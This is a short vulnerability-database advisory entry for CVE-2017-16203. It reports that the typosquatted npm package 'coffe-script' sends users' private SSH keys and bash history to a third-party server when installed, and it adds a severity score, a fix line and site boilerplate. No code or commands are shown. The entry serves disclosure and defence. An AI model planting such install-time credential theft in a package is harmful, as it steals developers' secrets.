Jun 6, 2018The coffe-script module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.CVE-2017-16203 · Other software · HackerOne · reported by support@hackerone.comHigh 7.5
The coffe-script module exfiltrates sensitive data such as a user's private SSH key and bash history to a third party server during installation.
- Product
- coffeescript node module
- What to do
- Apply the vendor’s update. The NVD record links to the advisory.
Full record and what to do →NVD recordnodesecurity.ionodesecurity.io
Where this comes from: the exploited list is CISA’s Known Exploited Vulnerabilities catalog. Everything else is the whole National Vulnerability Database, where each record is published by the team that found the bug (Wordfence, Patchstack, WPScan, the vendors themselves and others); we show who. Exploit odds are FIRST’s EPSS, updated daily. Titles and categories are ours, so check the linked record before acting on a detail. For a write-up of the big ones, see our advisories. Every vendor, and every WordPress plugin and theme with a recorded flaw, also has its own page. All of it is free to reuse as JSON, CSV or RSS.
Weekly security brief
The flaws that hit local websites, every Friday.
One short email: what got exploited this week, which WordPress plugins broke, and what to check. Unsubscribe in one click.
Tell us what you're building.
A website, your marketing, a security check, an app, or the thing you've been running out of a spreadsheet for three years. A few lines is plenty.
Not ready to talk yet? Run the free website check and see what Google sees.